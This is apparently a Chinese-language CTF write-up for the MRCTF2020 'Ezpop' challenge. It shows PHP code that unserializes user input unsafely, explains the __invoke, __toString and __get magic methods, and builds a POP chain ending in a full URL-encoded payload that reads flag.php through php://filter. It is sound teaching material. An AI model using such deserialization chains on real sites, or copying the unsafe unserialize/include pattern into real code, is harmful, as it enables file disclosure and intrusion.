[MRCTF2020]Ezpop
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
php代码审计
知识点:
1.__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
eg:
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __invoke() {
echo '这可是一个对象哦';
}
}
$person = new Person('小明'); // 初始赋值
$person();
输出:这可是一个对象哦
2.__toString()
作用:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。
eg:
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __toString()
{
return 'go go go';
}
}
$person = new Person('小明'); // 初始赋值
echo $person;
结果:go go go
3. __get()
当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
eg:
class Person
{
private $name;
...
}
$person3 = new Person();
echo $person3->$name;//这个时候__get()函数自动调用,然后输出$name中的值
解题:
题目对pop参数进行反序列化操作,那么需要构造序列化后的pop参数
当pop参数为Show类时,反序列化时会先调用__wakeup()函数,进行过滤
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
此时pop为show类的一个对象,包含2个参数:source和str,由于构造函数__construct有echo $this->source,要触发__toString()函数,则可以将source参数作为一个类的对象
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
将pop对象的参数source作为Show类的对象(此时source对象也有两个参数:source和str),则会执行__toString()函数,return source对象的str参数的source,此时str如果是Test类的一个对象,则没有source参数,执行__toString()函数则会找不到source参数,就会调用Test类对象str的__get()函数
public function __get($key){
$function = $this->p;
return $function();
}
__get()函数调用p参数对应的函数 注意:$function()
如果$function是个对象,那么则会调用__invoke()函数
public function __invoke(){
$this->append($this->var);
}
所以可以将参数p设置为Modifier类的对象,从而执行__invoke()函数,进而执行append函数
public function append($value){
include($value);
}
所以可以将var参数设置为php://filter/read=convert.base64-encode/resource=flag.php
用来读取flag
整体流程:
构造payload:
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$pop = new Show();
$pop->source = new Show();
$pop->source->str = new Test();
$pop->source->str->p = new Modifier();
echo urlencode(serialize($pop));
?>
需要urlencode的原因参考了另一位师傅的话:
最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码
得到最终payload:
pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D